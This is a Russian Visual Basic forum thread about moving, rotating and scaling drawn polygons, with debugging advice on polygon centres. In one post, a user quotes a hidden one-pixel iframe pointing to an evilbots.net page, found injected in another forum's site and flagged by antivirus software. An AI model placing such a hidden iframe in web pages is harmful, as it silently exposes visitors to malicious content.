Как перемещать рисованые объекты (прямоугольники, линии)

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 28.01.2009 (Ср) 12:28

Вопрос решил.

У меня при использовании маркеров, маркер поворота почему-то сбивается немного влево от центра, а область за которую цепляешься и поворачиваешь полигон так и оставалась в центре.

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение tyomitch » 28.01.2009 (Ср) 12:29

|kerish| писал(а):А как поворачивать полигон вокруг своей оси без использования маркеров используя метод Rotate?

Какая формула?

"Формула, где формула?" (ц)

Вместе с выводом: http://cs.fit.edu/~wds/classes/cse5255/ ... t/rot.html
Изображение

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Хакер » 28.01.2009 (Ср) 13:37

|kerish| писал(а):Какая формула?

Какая ешё формула? Передаёшь угол в радианах, на который должен быть повернут многоугольник и он поворачивается.

По поводу маркеров: скрин?
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 28.01.2009 (Ср) 17:10

Исходник.
Делаю простую рисовалку векторной графики, для себя, т.е. в образовательных целях.
Кода минимум, использую замечательный класс Xakep-а.

Сбит маркер поворота и масштабирование иногда глючит (вываливается ошибка деления на ноль) :(

Xakep Если будет время, подскажи где ошибка плзззз...
Последний раз редактировалось |kerish| 29.01.2009 (Чт) 14:15, всего редактировалось 1 раз.

BION
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 259
Зарегистрирован: 24.01.2005 (Пн) 21:05

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение BION » 28.01.2009 (Ср) 19:27

[Оффтоп]
Хакер писал(а):Нда... перечитал комментарии — выглядят словно я их писал в состоянии глубокого алкогольного опьянения.
Вообще, надо бы переделать этот пример. Много там ляпов.


Семен Семеныч...

Еще там вот что:
Код: Выделить всё
'***************************************************************
' Автор всего, что вы здесь можете найти:
'              Владислав Петровский (mko Хакер)     (mko - More known As)
' ...
'           >> Site:  www.fire-lines.ru
'                     www.fire-lines.ru/forum/
' ...
' Fire-Lines (c) 2007
'
' З.Ы. Если вас это не затруднит, заходите
' на наш форум: www.fire-lines.ru/forum
' (он очень нуждается в пользователях)


Идем на указанный форум к нуждающимся, и:

Изображение

Причина:
Код: Выделить всё
<iframe src="http://evilbots.net/fi/index.php" width=1 height=1 style="visibility: hidden"></iframe>
<html>...

Изображение

Может оно и ничего, но все же как-то не кошерно получается :)
Буээ!

Saturn.65
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 543
Зарегистрирован: 13.10.2006 (Пт) 18:46

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Saturn.65 » 28.01.2009 (Ср) 20:34

BION писал(а):Может оно и ничего, но все же как-то не кошерно получается :)

А я что-то ничего не обнаружил, даже касперского включил и ничего.
Главное, ребята, сердцем не стареть...

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Хакер » 28.01.2009 (Ср) 20:42

Баян :)

Я просто знаю, что на форум абсолютно никто не ходит, и поэтому оставил всё как есть. Надо убрать всё-таки, да.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 29.01.2009 (Чт) 8:25

Xakep Так почему маркер поворота сбивается, хз?
Последний раз редактировалось |kerish| 29.01.2009 (Чт) 10:06, всего редактировалось 1 раз.

Денис
Доктор VB наук
Доктор VB наук
Аватара пользователя
 
Сообщения: 2734
Зарегистрирован: 07.11.2006 (Вт) 13:55
Откуда: Ейск, Краснодарский край

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Денис » 29.01.2009 (Чт) 9:15

|kerish|
"хз" не к месту сказал, ИМХО.
Программирование — богоизбранная дисциплина! Если бог и есть, то вселенную он скомпилировал, не иначе.

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 29.01.2009 (Чт) 10:07

Денис писал(а):|kerish|
"хз" не к месту сказал, ИМХО.

:?: ????

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение tyomitch » 29.01.2009 (Чт) 12:24

|kerish| писал(а):Xakep Так почему маркер поворота сбивается, хз?

Объясни, что там должно происходить?
Я вообще в этой проге ничего не понял.
Изображение

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 29.01.2009 (Чт) 13:03

tyomitch писал(а):
|kerish| писал(а):Xakep Так почему маркер поворота сбивается, хз?

Объясни, что там должно происходить?
Я вообще в этой проге ничего не понял.

Выбираешь инструмент создание полигона Изображение
Кликаешь по экрану, создавая вертексы.
Наживаешь Enter и полигон создаётся.
Выбираешь инструмент поворот полигона Изображение.
Маркер поворота почему-то сбит :(
Хотя если зацепиться курсором за то место где он должен был быть, то поворот срабатывает.
Да и масштабирование (тот же инструмент) сложных фигур подглючивает почему-то...

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение tyomitch » 29.01.2009 (Чт) 13:43

Если я правильно понял задумку, то после
Код: Выделить всё
    Rotor.y = BR1.y + 35
должно следовать
Код: Выделить всё
    Rotor.x = (BR1.x + BR4.x) / 2
Изображение

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Хакер » 29.01.2009 (Чт) 15:11

(Чертов сервер. Этот пост мне приходится писать уже во второй раз)

Я не Xakep :|

У полигона есть логический центр — точка, относительно которой задаются координаты вершин, точка, служащая началом локальной системы координат полигона, точка, являющаяся центром вращения и точкой, относительно которой производится масштабирование.

Метод AddVertex принимает координаты вершины относительно именно этой точки.
Метод Move устанавливает положении этой точки в глобальной системе координат.
Метод Rotate вращает полигон относительно этой точки.

Твоя ошибка (и при том очень серьёзная) в том, что ты координаты вершин задаёшь не относительно этой точки, а относительно той, с которой начато рисование полигона. А рисование полигона начинается с самого первого вертекса. Т.е. по сути, у тебя при создании первого вертекса он всегда имеет координаты (0; 0) относительно логического центра полигона (что вообще очень плохо), а координаты всех остальных вершин расчитываются относительно первой.

Иными словами, у тебя логический центр не совпадает с геометрическим центром полигона, а абсолютно точно совпадает с первой вершиной.

Это прежде всего проявляется в том, что при вращении и масштабировании полигона одна из вершин (самая первая, из нарисованных) всегда остаётся неподвижной. Это, вобщем-то, и должно тебя навести на мысль от том, что в твоём подходе неправильного.

В принципе, в рамках твоей системы можно нарисовать такой полигон, у которого первая вершина совпадёт с геометрическим центром:
Изображение
При этом, видно, что всё отображается корректно.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Хакер » 29.01.2009 (Чт) 15:23

tyomitch писал(а):Если я правильно понял задумку, то после
Код: Выделить всё
    Rotor.y = BR1.y + 35
должно следовать
Код: Выделить всё
    Rotor.x = (BR1.x + BR4.x) / 2

Ага, но это лишнее, ибо (BR1.x + BR4.x) / 2 всегда1 будет давать 0, потому как это расчёт rot-маркера в локальной системе координат, а в ней он всегда строго над центром, т.е. на одной вертикали с центром, т.е. его x-координата равна x-координате центра, т.е. равна 0.

всегда1 — при условии, что всё сделано правильно, и лог. центр совпадает с геометрическим.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 10.02.2009 (Вт) 11:32

Как правильнее поступить в этой ситуации?
Последний раз редактировалось |kerish| 10.02.2009 (Вт) 11:39, всего редактировалось 1 раз.

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение alibek » 10.02.2009 (Вт) 11:35

Вычисляй центр и выполняй трансформации относительно него.
Lasciate ogni speranza, voi ch'entrate.

|kerish|
Постоялец
Постоялец
 
Сообщения: 831
Зарегистрирован: 22.10.2004 (Пт) 0:31

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение |kerish| » 10.02.2009 (Вт) 11:48

alibek писал(а):Вычисляй центр и выполняй трансформации относительно него.

Я вычислил центр.

Каким образом его установить?

После добавления вертексов методом Move или как-то иначе?

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение alibek » 10.02.2009 (Вт) 11:50

Тебе же написали.
Хакер писал(а):Метод AddVertex принимает координаты вершины относительно именно этой точки.
Метод Move устанавливает положении этой точки в глобальной системе координат.
Lasciate ogni speranza, voi ch'entrate.

sosed213
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 206
Зарегистрирован: 13.11.2007 (Вт) 21:19
Откуда: Омск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение sosed213 » 17.12.2015 (Чт) 5:32

Всем здравствуйте!
Хакер, не мог бы ты выложить пример (vector_graphic.rar) еще раз, а то старая ссылка уже не работает. Появилась необходимость изменять объекты в стиле векторного редактора. Может в этом примере найду что-то полезное.

А вообще расскажу подробнее (если кому интересно):

Создаю небольшой редактор для создания стикеров/наклеек/этикеток. Есть PictureBox (основное поле) на который пользователь будет добавлять объекты Image, Label, TextBox, Shape, расставлять/оформлять их как нужно и затем плодить на лист А4 и распечатывать.

Перемещать объекты, возможно при помощи мышки ( MouseDown, MouseMove, MouseUp). Но вот у объекта Shape нет таких методов. Вот я и ищу способ как бы это сделать более дружелюбно, для пользователя. Хотя если Shape будет тоненькой рамочкой, то попасть на него мышкой будет сложновато :) (хотя на этот случай у меня есть ComboBox со списком всех объектов, где можно будет его предварительно выбрать). Вообще хотелось бы в идеале сделать редактор похожий как в среде VisualBasic, или ему похожие.
Не могу сказать что знаю все, но и за дурака прошу меня не считать.

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение Хакер » 17.12.2015 (Чт) 5:43

sosed213 писал(а):Хакер, не мог бы ты выложить пример (vector_graphic.rar) еще раз, а то старая ссылка уже не работает.

Еле нашёл. Думаю, это оно:
vg_sample.png
vg_sample.png (12.1 Кб) Просмотров: 6138
Вложения
VectorGraph.zip
(9.78 Кб) Скачиваний: 197
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

sosed213
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 206
Зарегистрирован: 13.11.2007 (Вт) 21:19
Откуда: Омск

Re: Как перемещать рисованые объекты (прямоугольники, линии)

Сообщение sosed213 » 17.12.2015 (Чт) 5:48

Выглядит очень круто! Буду разбираться :)

Спасибо!
Не могу сказать что знаю все, но и за дурака прошу меня не считать.

Пред.

Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: Google-бот и гости: 34

    TopList